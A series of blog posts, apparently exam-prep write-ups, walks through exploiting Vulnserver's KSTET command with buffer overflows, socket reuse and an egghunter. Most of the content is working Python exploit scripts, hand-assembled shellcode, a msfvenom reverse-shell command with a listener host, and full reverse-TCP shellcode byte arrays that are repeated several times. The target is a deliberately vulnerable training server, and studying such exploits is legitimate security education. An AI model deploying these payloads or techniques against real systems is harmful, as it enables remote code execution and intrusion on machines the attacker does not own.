buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)
expl.close()

Our jump to ESP register is going to land in the 2903 C’s buffer string.

This time instead doing a Vanilla BOF exploitation, let’s try to do it using socket reuse.


Step 1. Finding a RECV call

Looking at the inter-modular calls in Olly I find this one:

I setup a break point there and I send some information to Vulnserver, when I reach the break point I can see that these are the values of the parameters that are stored in the stack before the function call occurs:

017CF9DC   00401958  /CALL to recv from vulnserv.00401953
017CF9E0   0000005C  |Socket = 5C
017CF9E4   005E3688  |Buffer = 005E3688
017CF9E8   00001000  |BufSize = 1000 (4096.)
017CF9EC   00000000  \Flags = 0

the socket descriptor is:

00 00 00 5C

Step 2. Finding the socket descriptor

As in the last blog post, If we look for what is in address where our socket was, we can see that the socket descriptor identifier was overwritten.

We need to find a copy elsewhere, so I use the binary search in the vulnserver.exe module and I find our socket descriptor:

0171FFA9   0000             ADD BYTE PTR DS:[EAX],AL
0171FFAB   005C00 00        ADD BYTE PTR DS:[EAX+EAX],BL
0171FFAF   0000             ADD BYTE PTR DS:[EAX],AL

Step 3. Calculate socket descriptor offset

That is at this memory address(aprox): 0171FFA9 and the current value of ESP is: 0171F9E0.

The difference between the socket location and ESP is: 5C9. After some adjustments i identify that the correct offset is 5CC.

Let’s start developing our exploit to reach the socket memory address:

socket_reuse  = ""
socket_reuse += "\x54"                      # PUSH ESP
socket_reuse += "\x59"                      # POP ECX
socket_reuse += "\x66\x81\xC1\xCC\x05"      # ADD CX, 5CC

Step 4. Avoiding EIP/ESP collision:

We realize that ESP and EIP registers are too close and this can break our exploit execution. (In the last blog post I explained more in deep this part)

We can modify the value of ESP to prevent this:

socket_reuse += "\x83\xEC\x50"              # SUB ESP, 50

Step 5. Push RECV parameters into the stack:

Now it’s the moment to do the call to recv, but before we need to setup the stack with the correct parameters.

First we push a 0 into the stack:

socket_reuse += "\x33\xD2"               # XOR EDX,EDX
socket_reuse += "\x52"                   # PUSH EDX

Then we push a 2:

socket_reuse += "\x80\xC6\x02"           # ADD DH,2
socket_reuse += "\x52"                   # PUSH EDX

Now we need to setup the buffer variable, it’s were our buffer it’s going to be located. The second buffer it’s going to be located after the first one, so we add 38 bytes to ESP and push that value to the stack:

socket_reuse += "\x54"                   # PUSH ESP
socket_reuse += "\x5A"                   # POP EDX
socket_reuse += "\x80\xC2\x38"           # ADD DL, 38
socket_reuse += "\x52"                   # PUSH EDX

And the last thing that we need to push is our socket file descriptor:

socket_reuse += "\xFF\x31"               # PUSH DWORD PTR DS:[ECX]

Step 6. Call RECV

Finally we call the RECV function. I’m using SHR because the memory address of RECV contains a null byte, you can read more about this in the last blog post too.

socket_reuse += "\xB8\x88\x2C\x25\x40" # MOV EAX, 40252C88 
socket_reuse += "\xC1\xE8\x08" # SHR EAX, 8  
socket_reuse += "\xFF\xD0" # CALL EAX

This is the final python exploit:

#!/usr/bin/python
# Author: Xavi Bel
# Date: 30/06/2019
# Website: xavibel.com
# Vulnserver - KSET - Using socket reuse

import socket
import os
import sys
import time

# socket reuse technique
# 35 bytes + 34 bytes of padding = 69 bytes
exploit  = ""
exploit += "\x54"                   # PUSH ESP
exploit += "\x59"                   # POP ECX
exploit += "\x66\x81\xC1\xCC\x05"   # ADD CX,5C9
exploit += "\x83\xEC\x50"           # SUB ESP, 50
exploit += "\x33\xD2"               # XOR EDX,EDX
exploit += "\x52"                   # PUSH EDX
exploit += "\x80\xC6\x02"           # ADD DH,2
exploit += "\x52"                   # PUSH EDX
exploit += "\x54"                   # PUSH ESP
exploit += "\x5A"                   # POP EDX
exploit += "\x80\xC2\x38"           # ADD DL, 36
exploit += "\x52"                   # PUSH EDX
exploit += "\xFF\x31"               # PUSH DWORD PTR DS:[ECX]
exploit += "\xB8\x88\x2C\x25\x40"   # MOV EAX, 40252C88
exploit += "\xC1\xE8\x08"           # SHR EAX, 8    
exploit += "\xFF\xD0"               # CALL EAX

exploit += "\x90" * 34

# 625011AF - JMP ESP
crash = "\x20" + exploit + "\xAF\x11\x50\x62" + "\x90" * 18 + "\xEB\xA3"

buffer="KSTET "
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)

time.sleep(1)

# msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192.168.1.88 EXITFUNC=thread -b "\x00" -f python | sed 's/buf/shellcode/g'
# 351 bytes
shellcode =  ""
shellcode += "\xbe\x8e\x14\x1d\x2d\xda\xd4\xd9\x74\x24\xf4\x5d\x29"
shellcode += "\xc9\xb1\x52\x83\xed\xfc\x31\x75\x0e\x03\xfb\x1a\xff"
shellcode += "\xd8\xff\xcb\x7d\x22\xff\x0b\xe2\xaa\x1a\x3a\x22\xc8"
shellcode += "\x6f\x6d\x92\x9a\x3d\x82\x59\xce\xd5\x11\x2f\xc7\xda"
shellcode += "\x92\x9a\x31\xd5\x23\xb6\x02\x74\xa0\xc5\x56\x56\x99"
shellcode += "\x05\xab\x97\xde\x78\x46\xc5\xb7\xf7\xf5\xf9\xbc\x42"
shellcode += "\xc6\x72\x8e\x43\x4e\x67\x47\x65\x7f\x36\xd3\x3c\x5f"
shellcode += "\xb9\x30\x35\xd6\xa1\x55\x70\xa0\x5a\xad\x0e\x33\x8a"
shellcode += "\xff\xef\x98\xf3\xcf\x1d\xe0\x34\xf7\xfd\x97\x4c\x0b"
shellcode += "\x83\xaf\x8b\x71\x5f\x25\x0f\xd1\x14\x9d\xeb\xe3\xf9"
shellcode += "\x78\x78\xef\xb6\x0f\x26\xec\x49\xc3\x5d\x08\xc1\xe2"
shellcode += "\xb1\x98\x91\xc0\x15\xc0\x42\x68\x0c\xac\x25\x95\x4e"
shellcode += "\x0f\x99\x33\x05\xa2\xce\x49\x44\xab\x23\x60\x76\x2b"
shellcode += "\x2c\xf3\x05\x19\xf3\xaf\x81\x11\x7c\x76\x56\x55\x57"
shellcode += "\xce\xc8\xa8\x58\x2f\xc1\x6e\x0c\x7f\x79\x46\x2d\x14"
shellcode += "\x79\x67\xf8\xbb\x29\xc7\x53\x7c\x99\xa7\x03\x14\xf3"
shellcode += "\x27\x7b\x04\xfc\xed\x14\xaf\x07\x66\xdb\x98\x06\x2e"
shellcode += "\xb3\xda\x08\xcf\xf8\x52\xee\xa5\xee\x32\xb9\x51\x96"
shellcode += "\x1e\x31\xc3\x57\xb5\x3c\xc3\xdc\x3a\xc1\x8a\x14\x36"
shellcode += "\xd1\x7b\xd5\x0d\x8b\x2a\xea\xbb\xa3\xb1\x79\x20\x33"
shellcode += "\xbf\x61\xff\x64\xe8\x54\xf6\xe0\x04\xce\xa0\x16\xd5"
shellcode += "\x96\x8b\x92\x02\x6b\x15\x1b\xc6\xd7\x31\x0b\x1e\xd7"
shellcode += "\x7d\x7f\xce\x8e\x2b\x29\xa8\x78\x9a\x83\x62\xd6\x74"
shellcode += "\x43\xf2\x14\x47\x15\xfb\x70\x31\xf9\x4a\x2d\x04\x06"
shellcode += "\x62\xb9\x80\x7f\x9e\x59\x6e\xaa\x1a\x79\x8d\x7e\x57"
shellcode += "\x12\x08\xeb\xda\x7f\xab\xc6\x19\x86\x28\xe2\xe1\x7d"
shellcode += "\x30\x87\xe4\x3a\xf6\x74\x95\x53\x93\x7a\x0a\x53\xb6"

expl.send("\x90" * 5 + shellcode + "\x90" * 156)

expl.close()

https://github.com/socket8088/Vulnserver/blob/master/TRUN/EXP-TRUN-02-socket-reuse.py

And here it’s our shell!

Posted in Exploiting | Tagged , , , , , , , , , | Leave a comment

Exploit Development – Vulnserver KSTET – Socket Reuse

Hello!

In the last two blog posts we solved this exercise using a similar approach, we jumped to the bigger buffer space (from different ways), and then we used an egghunter technique that searched for our shellcode that we previously stored in memory.

That approach was possible because he had a way to put our shellcode in memory. But what happens if we don’t have this option? Here is the answer, you can use the socket reuse technique.

This blog post is going to cover more advanced techniques, so I’m not going to explain the basics. If you are having trouble with some previous step, I’ll recommend you to go back and read this article:

Said that, let’s go back to this point:

crash = "A" * 70 + "B" * 4 + "C" * 19 + "D"
buffer="KSTET " + crash + "\r\n"

So we have 3 parts in our buffer:

  • 70 bytes length before EIP located in EAX
  • EIP overwrite
  • 20 bytes after EIP located in ESP

The approach here is to use the existing server application’s socket descriptor and call WS2_32.recv on it, so we can read as much data from it as we want, writing it to the location that we want, normally some bytes after the current instruction so let the execution flow go there in a natural way. If not we can save it to another location and jump to it.

Step 1) Find a socket recv call

We press CNTRL+F2 in Olly and we restart the program. Now we should be at the Module Entry Point, we press F9 and continue the execution.

We click in View >> Executable Modules. And we select vulnserver.exe

Then we can right click and Search For >> All Intermodular calls.

Here I recommend you to sort using the Destination column. And we need to look for WS2_32.recv:

We follow this address in disassembler:

And we copy the address, we are going to need it later although it has a null byte:

0040252C

Step 2) Find the socket descriptor:

Let’s put a break point in this address, and let’s run the program, in x86 the parameters of the socket function are stored in the stack, so we are going to be able to see the values.

We run the program, send something to vulnserver and we are going to reach our break point. Then we press F7 and we are going to be at this point:

And if we look at the stack we are going to see the socket call parameters:

These parameters are pushed in inverse order. The most important value of all these is the socket address: 00 00 00 5C

0171F9DC   00401958  /CALL to recv from vulnserv.00401953
0171F9E0   0000005C  |Socket = 5C
0171F9E4   00533688  |Buffer = 00533688
0171F9E8   00001000  |BufSize = 1000 (4096.)
0171F9EC   00000000  \Flags = 0

At this point, remove the break point and I recommend you to restart Olly. Then we are going to put a new break point in our JMP ESP, and when we reach it, let continue the execution flow until we reach the ~70 bytes buffer space.

If we look for what is in address where our socket was, we can see that the socket descriptor identifier was overwritten. But maybe we can find a copy elsewhere, so let’s try find the socket.

We right click and Search For >> Binary string:

And here we try to find our socket:

00 00 00 5C

And Olly tell us that the socket that we are looking for it’s around this area:

Step 3) Reach our socket descriptor:

Here we need to save to the memory address where our socket descriptor is:

017CFFA9

But we can’t hard-code it, we need to find a relation with ESP. The current value of ESP is:

017CF9E0

We calculate the difference:

017CFFA9 - 017CF9E0 = 5C9

So we need to add this value to ESP. Let’s do it:

exploit  = ""
exploit += "\x54"                   # PUSH ESP
exploit += "\x59"                   # POP ECX
exploit += "\x66\x81\xC1\xC9\x05"   # ADD CX,5C9
  • Note: This is not the correct value, we are going to identify this problem in the next steps.

Step 4) Avoiding EIP/ESP collision:

Looking at the registers values in the debugger, we are going to see this:

EIP value is 017CF997 and it’s growing down, and ESP value is 017CF9E0 and it’s growing up, it’s going to be a point where one of the two values is going to be overwritten by the other and our exploit will fail.

To avoid this we are going to move ESP to a lower value.

exploit += "\x83\xEC\x50"           # SUB ESP, 50

Step 5) Calling recv:

Now it’s the moment to do the call to recv, but before we need to setup the stack with the correct parameters.

First we push a 0 into the stack:

exploit += "\x33\xD2"               # XOR EDX,EDX
exploit += "\x52"                   # PUSH EDX

Then we push a 2:

exploit += "\x80\xC6\x02"           # ADD DH,2
exploit += "\x52"                   # PUSH EDX

Now we need to setup the buffer variable, it’s were our buffer it’s going to be located. KSTET it’s more o less 50 bytes below us, so we add that to ESP and we push the value to the stack:

exploit += "\x54"                   # PUSH ESP
exploit += "\x5A"                   # POP EDX
exploit += "\x80\xC2\x38"           # ADD DL, 36
exploit += "\x52"                   # PUSH EDX

And the last thing that we need to push is our socket file descriptor:

exploit += "\xFF\x31"               # PUSH DWORD PTR DS:[ECX]

Step 6) Small fixes:

At this point, we are going to see that there is not a 00 00 00 5C pushed in the stack, it’s a 5C 00 0 00, so we need to modify the previous offset to:

5CC

Everything it’s ready, it’s moment to call the recv function. But remember that we have a null byte.


Trick 1: Using SHR to use a memory address that contains a null byte:

We want to call 0040252C. So we are going to put it backwards without the null byte into EAX. Like this:

exploit += "\xB8\x88\x2C\x25\x40"   # MOV EAX, 40252C88

I used an 88 but you can use almost any value. Then we use the SHR function to shift the bytes to the right 8 times

exploit += "\xC1\xE8\x08"           # SHR EAX, 8   

And finnaly we call EAX:

exploit += "\xFF\xD0"               # CALL EAX

We put all this together. And we verify that we have what we need in the stack. And yes we have the values that we were expecting:

Step 7) Generate the shellcode:

I used this command to generate an standard reverse shell shellcode:

# msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192.168.1.88 EXITFUNC=thread -b "\x00" -f python | sed 's/buf/shellcode/g'
# 351 bytes
shellcode =  ""
shellcode += "\xbe\x8e\x14\x1d\x2d\xda\xd4\xd9\x74\x24\xf4\x5d\x29"
shellcode += "\xc9\xb1\x52\x83\xed\xfc\x31\x75\x0e\x03\xfb\x1a\xff"
shellcode += "\xd8\xff\xcb\x7d\x22\xff\x0b\xe2\xaa\x1a\x3a\x22\xc8"
shellcode += "\x6f\x6d\x92\x9a\x3d\x82\x59\xce\xd5\x11\x2f\xc7\xda"
shellcode += "\x92\x9a\x31\xd5\x23\xb6\x02\x74\xa0\xc5\x56\x56\x99"
shellcode += "\x05\xab\x97\xde\x78\x46\xc5\xb7\xf7\xf5\xf9\xbc\x42"
shellcode += "\xc6\x72\x8e\x43\x4e\x67\x47\x65\x7f\x36\xd3\x3c\x5f"
shellcode += "\xb9\x30\x35\xd6\xa1\x55\x70\xa0\x5a\xad\x0e\x33\x8a"
shellcode += "\xff\xef\x98\xf3\xcf\x1d\xe0\x34\xf7\xfd\x97\x4c\x0b"
shellcode += "\x83\xaf\x8b\x71\x5f\x25\x0f\xd1\x14\x9d\xeb\xe3\xf9"
shellcode += "\x78\x78\xef\xb6\x0f\x26\xec\x49\xc3\x5d\x08\xc1\xe2"
shellcode += "\xb1\x98\x91\xc0\x15\xc0\x42\x68\x0c\xac\x25\x95\x4e"
shellcode += "\x0f\x99\x33\x05\xa2\xce\x49\x44\xab\x23\x60\x76\x2b"
shellcode += "\x2c\xf3\x05\x19\xf3\xaf\x81\x11\x7c\x76\x56\x55\x57"
shellcode += "\xce\xc8\xa8\x58\x2f\xc1\x6e\x0c\x7f\x79\x46\x2d\x14"
shellcode += "\x79\x67\xf8\xbb\x29\xc7\x53\x7c\x99\xa7\x03\x14\xf3"
shellcode += "\x27\x7b\x04\xfc\xed\x14\xaf\x07\x66\xdb\x98\x06\x2e"
shellcode += "\xb3\xda\x08\xcf\xf8\x52\xee\xa5\xee\x32\xb9\x51\x96"
shellcode += "\x1e\x31\xc3\x57\xb5\x3c\xc3\xdc\x3a\xc1\x8a\x14\x36"
shellcode += "\xd1\x7b\xd5\x0d\x8b\x2a\xea\xbb\xa3\xb1\x79\x20\x33"
shellcode += "\xbf\x61\xff\x64\xe8\x54\xf6\xe0\x04\xce\xa0\x16\xd5"
shellcode += "\x96\x8b\x92\x02\x6b\x15\x1b\xc6\xd7\x31\x0b\x1e\xd7"
shellcode += "\x7d\x7f\xce\x8e\x2b\x29\xa8\x78\x9a\x83\x62\xd6\x74"
shellcode += "\x43\xf2\x14\x47\x15\xfb\x70\x31\xf9\x4a\x2d\x04\x06"
shellcode += "\x62\xb9\x80\x7f\x9e\x59\x6e\xaa\x1a\x79\x8d\x7e\x57"
shellcode += "\x12\x08\xeb\xda\x7f\xab\xc6\x19\x86\x28\xe2\xe1\x7d"
shellcode += "\x30\x87\xe4\x3a\xf6\x74\x95\x53\x93\x7a\x0a\x53\xb6"

Step 8) Add the second stage shellcode to the exploit:

We finally send the shellcode after waiting one second. Here is the complete exploit:

#!/usr/bin/python
# Author: Xavi Bel
# Date: 30/06/2019
# Website: xavibel.com
# Vulnserver - KSET - Using socket reuse

import socket
import os
import sys
import time

# socket reuse technique
# 35 bytes + 34 bytes of padding = 69 bytes
exploit  = ""
exploit += "\x54"                   # PUSH ESP
exploit += "\x59"                   # POP ECX
exploit += "\x66\x81\xC1\xCC\x05"   # ADD CX,5C9
exploit += "\x83\xEC\x50"           # SUB ESP, 50
exploit += "\x33\xD2"               # XOR EDX,EDX
exploit += "\x52"                   # PUSH EDX
exploit += "\x80\xC6\x02"           # ADD DH,2
exploit += "\x52"                   # PUSH EDX
exploit += "\x54"                   # PUSH ESP
exploit += "\x5A"                   # POP EDX
exploit += "\x80\xC2\x38"           # ADD DL, 36
exploit += "\x52"                   # PUSH EDX
exploit += "\xFF\x31"               # PUSH DWORD PTR DS:[ECX]
exploit += "\xB8\x88\x2C\x25\x40"   # MOV EAX, 40252C88
exploit += "\xC1\xE8\x08"           # SHR EAX, 8    
exploit += "\xFF\xD0"               # CALL EAX

exploit += "\x90" * 34

# 625011AF - JMP ESP
crash = "\x20" + exploit + "\xAF\x11\x50\x62" + "\x90" * 18 + "\xEB\xA3"

buffer="KSTET "
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)

time.sleep(1)

# msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192.168.1.88 EXITFUNC=thread -b "\x00" -f python | sed 's/buf/shellcode/g'
# 351 bytes
shellcode =  ""
shellcode += "\xbe\x8e\x14\x1d\x2d\xda\xd4\xd9\x74\x24\xf4\x5d\x29"
shellcode += "\xc9\xb1\x52\x83\xed\xfc\x31\x75\x0e\x03\xfb\x1a\xff"
shellcode += "\xd8\xff\xcb\x7d\x22\xff\x0b\xe2\xaa\x1a\x3a\x22\xc8"
shellcode += "\x6f\x6d\x92\x9a\x3d\x82\x59\xce\xd5\x11\x2f\xc7\xda"
shellcode += "\x92\x9a\x31\xd5\x23\xb6\x02\x74\xa0\xc5\x56\x56\x99"
shellcode += "\x05\xab\x97\xde\x78\x46\xc5\xb7\xf7\xf5\xf9\xbc\x42"
shellcode += "\xc6\x72\x8e\x43\x4e\x67\x47\x65\x7f\x36\xd3\x3c\x5f"
shellcode += "\xb9\x30\x35\xd6\xa1\x55\x70\xa0\x5a\xad\x0e\x33\x8a"
shellcode += "\xff\xef\x98\xf3\xcf\x1d\xe0\x34\xf7\xfd\x97\x4c\x0b"
shellcode += "\x83\xaf\x8b\x71\x5f\x25\x0f\xd1\x14\x9d\xeb\xe3\xf9"
shellcode += "\x78\x78\xef\xb6\x0f\x26\xec\x49\xc3\x5d\x08\xc1\xe2"
shellcode += "\xb1\x98\x91\xc0\x15\xc0\x42\x68\x0c\xac\x25\x95\x4e"
shellcode += "\x0f\x99\x33\x05\xa2\xce\x49\x44\xab\x23\x60\x76\x2b"
shellcode += "\x2c\xf3\x05\x19\xf3\xaf\x81\x11\x7c\x76\x56\x55\x57"
shellcode += "\xce\xc8\xa8\x58\x2f\xc1\x6e\x0c\x7f\x79\x46\x2d\x14"
shellcode += "\x79\x67\xf8\xbb\x29\xc7\x53\x7c\x99\xa7\x03\x14\xf3"
shellcode += "\x27\x7b\x04\xfc\xed\x14\xaf\x07\x66\xdb\x98\x06\x2e"
shellcode += "\xb3\xda\x08\xcf\xf8\x52\xee\xa5\xee\x32\xb9\x51\x96"
shellcode += "\x1e\x31\xc3\x57\xb5\x3c\xc3\xdc\x3a\xc1\x8a\x14\x36"
shellcode += "\xd1\x7b\xd5\x0d\x8b\x2a\xea\xbb\xa3\xb1\x79\x20\x33"
shellcode += "\xbf\x61\xff\x64\xe8\x54\xf6\xe0\x04\xce\xa0\x16\xd5"
shellcode += "\x96\x8b\x92\x02\x6b\x15\x1b\xc6\xd7\x31\x0b\x1e\xd7"
shellcode += "\x7d\x7f\xce\x8e\x2b\x29\xa8\x78\x9a\x83\x62\xd6\x74"
shellcode += "\x43\xf2\x14\x47\x15\xfb\x70\x31\xf9\x4a\x2d\x04\x06"
shellcode += "\x62\xb9\x80\x7f\x9e\x59\x6e\xaa\x1a\x79\x8d\x7e\x57"
shellcode += "\x12\x08\xeb\xda\x7f\xab\xc6\x19\x86\x28\xe2\xe1\x7d"
shellcode += "\x30\x87\xe4\x3a\xf6\x74\x95\x53\x93\x7a\x0a\x53\xb6"

expl.send("\x90" * 5 + shellcode + "\x90" * 156)

expl.close()

https://github.com/socket8088/Vulnserver/blob/master/KSTET/EXP-KSTET-03-socket-reuse.py

And here we receive our shell!

And with this we finished one of the most difficult exercises that I did while preparing the OSCE exam. I’m going to use this technique more in Vulnserver exercises. See you soon! 🙂

Posted in Exploiting | Tagged , , , , , , , , , | Leave a comment

Exploit Development – Vulnserver KSTET – Egghunter 2

Hello everyone,

This post is an alternative way to crack Vulnserver using KSTET command. To understand what I’m going to show in you here and how you can exploit this specific method you need to read the last post of the blog. You can find it here:

We were at this point:

crash = "A" * 70 + "B" * 4 + "C" * 19 + "D"
buffer="KSTET " + crash + "\r\n"

So we have 3 parts in our buffer:

  • 70 bytes length before EIP located in EAX
  • EIP overwrite
  • 20 bytes after EIP located in ESP

This time we are going to jump to ESP register. So the first thing that we need to do it’s to find a proper jump. I’m going to use Immunity debugger and the Corelan plugin named Mona to try to find one.

I run this command in Immunity console:

!mona jmp -r esp -d essfunc.dll

And we find several jumps:

We can use the first one:

0x625011AF

Let’s modify our exploit:

crash = "A" * 70 + "\xAF\x11\x50\x62" + "C" * 20

We set a breakpoint before the JMP ESP instruction. We launch the exploit and we reach our breakpoint:

Our egghunter length is 32 bytes, and we only have 20 bytes of space, so we can’t write it here. We need to jump backwards to the other buffer that was 70 bytes long.

To do that we can go to the debugger, we take the jump and we look for the first characters of the big buffer space. That are here:

As you can see I selected the third A character because the other two seems to belong to the previous instruction.

I copy this memory address:

017CF998   41               INC ECX

And I go to the current position of EIP. Here I double click in the instruction to modify it:

And i write the Jump that I want:

And Olly tells me that the opcode that I need is the following one:

So I need to use:

"\xEB\xB6"

Let’s add this information to the code:

crash = "\x20"\x41 * 1 + "A" * 68 + "\xAF\x11\x50\x62" + "\xEB\xB6" + "\xCC" * 18

After doing some small adjustments I verify that our Jump works:

At this point we just need to implement the same that in the previous blog post.

Let’s use the same method to complete the exploit:

# Author: Xavi Bel
# Date: 26/06/2019
# Website: xavibel.com
# Vulnserver KSTET - Method 2
#!/usr/bin/python
import socket
import os
import sys
import time

# Connection
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.35.131", 9999))
print expl.recv(1024)

# First buffer:
#       EGGx2
#       Shellcode

# Reverse TCP Bind Shell
# Payload size: 351 bytes
shellcode =  ""
shellcode += "\xb8\x41\xdb\x4c\xdd\xdb\xcc\xd9\x74\x24\xf4\x5b\x33"
shellcode += "\xc9\xb1\x52\x31\x43\x12\x83\xeb\xfc\x03\x02\xd5\xae"
shellcode += "\x28\x78\x01\xac\xd3\x80\xd2\xd1\x5a\x65\xe3\xd1\x39"
shellcode += "\xee\x54\xe2\x4a\xa2\x58\x89\x1f\x56\xea\xff\xb7\x59"
shellcode += "\x5b\xb5\xe1\x54\x5c\xe6\xd2\xf7\xde\xf5\x06\xd7\xdf"
shellcode += "\x35\x5b\x16\x27\x2b\x96\x4a\xf0\x27\x05\x7a\x75\x7d"
shellcode += "\x96\xf1\xc5\x93\x9e\xe6\x9e\x92\x8f\xb9\x95\xcc\x0f"
shellcode += "\x38\x79\x65\x06\x22\x9e\x40\xd0\xd9\x54\x3e\xe3\x0b"
shellcode += "\xa5\xbf\x48\x72\x09\x32\x90\xb3\xae\xad\xe7\xcd\xcc"
shellcode += "\x50\xf0\x0a\xae\x8e\x75\x88\x08\x44\x2d\x74\xa8\x89"
shellcode += "\xa8\xff\xa6\x66\xbe\xa7\xaa\x79\x13\xdc\xd7\xf2\x92"
shellcode += "\x32\x5e\x40\xb1\x96\x3a\x12\xd8\x8f\xe6\xf5\xe5\xcf"
shellcode += "\x48\xa9\x43\x84\x65\xbe\xf9\xc7\xe1\x73\x30\xf7\xf1"
shellcode += "\x1b\x43\x84\xc3\x84\xff\x02\x68\x4c\x26\xd5\x8f\x67"
shellcode += "\x9e\x49\x6e\x88\xdf\x40\xb5\xdc\x8f\xfa\x1c\x5d\x44"
shellcode += "\xfa\xa1\x88\xcb\xaa\x0d\x63\xac\x1a\xee\xd3\x44\x70"
shellcode += "\xe1\x0c\x74\x7b\x2b\x25\x1f\x86\xbc\xe6\xf0\xab\xbd"
shellcode += "\x9f\xf2\xab\xbc\xe4\x7a\x4d\xd4\x0a\x2b\xc6\x41\xb2"
shellcode += "\x76\x9c\xf0\x3b\xad\xd9\x33\xb7\x42\x1e\xfd\x30\x2e"
shellcode += "\x0c\x6a\xb1\x65\x6e\x3d\xce\x53\x06\xa1\x5d\x38\xd6"
shellcode += "\xac\x7d\x97\x81\xf9\xb0\xee\x47\x14\xea\x58\x75\xe5"
shellcode += "\x6a\xa2\x3d\x32\x4f\x2d\xbc\xb7\xeb\x09\xae\x01\xf3"
shellcode += "\x15\x9a\xdd\xa2\xc3\x74\x98\x1c\xa2\x2e\x72\xf2\x6c"
shellcode += "\xa6\x03\x38\xaf\xb0\x0b\x15\x59\x5c\xbd\xc0\x1c\x63"
shellcode += "\x72\x85\xa8\x1c\x6e\x35\x56\xf7\x2a\x45\x1d\x55\x1a"
shellcode += "\xce\xf8\x0c\x1e\x93\xfa\xfb\x5d\xaa\x78\x09\x1e\x49"
shellcode += "\x60\x78\x1b\x15\x26\x91\x51\x06\xc3\x95\xc6\x27\xc6"

buffer2  = "GDOG "
buffer2 += "T00WT00W"
#buffer2 += "\xCC" * 105 + "\x44" + "\x45" * 5000
buffer2 += "\x90" * 8
buffer2 += shellcode
buffer2 += "\x90" * 8
buffer2 += "\r\n"

print "[+] Sending exploit part 1!"
expl.send(buffer2)
print expl.recv(1024)

time.sleep(5)

# Egghunter
# 32 bytes length
# EGG W00TW00T
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x54\x30\x30\x57\x89\xD7\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

# \x20\x20\x20          - Second jump adjustment
# 625011AF              - JMP ESP stored in vulnserver dll
crash = "\x20\41" + egghunter + "\x90" * 36 + "\xAF\x11\x50\x62" + "\xEB\xB6" + "\x90" * 18


buffer  ="KSTET "
buffer += crash + "\r\n"
print "[+] Sending exploit part 2!"

expl.send(buffer)
expl.close()

https://github.com/socket8088/Vulnserver/blob/master/KSTET/EXP-KSTET-02.py

We run our exploit, and we receive our reverse shell! 🙂

See you soon! I will continue doing Vulnserver write-ups and probably in the future I’m going to rewrite some Exploit-DB exploits.

Posted in Exploiting | Tagged , , , , , , , , , | Leave a comment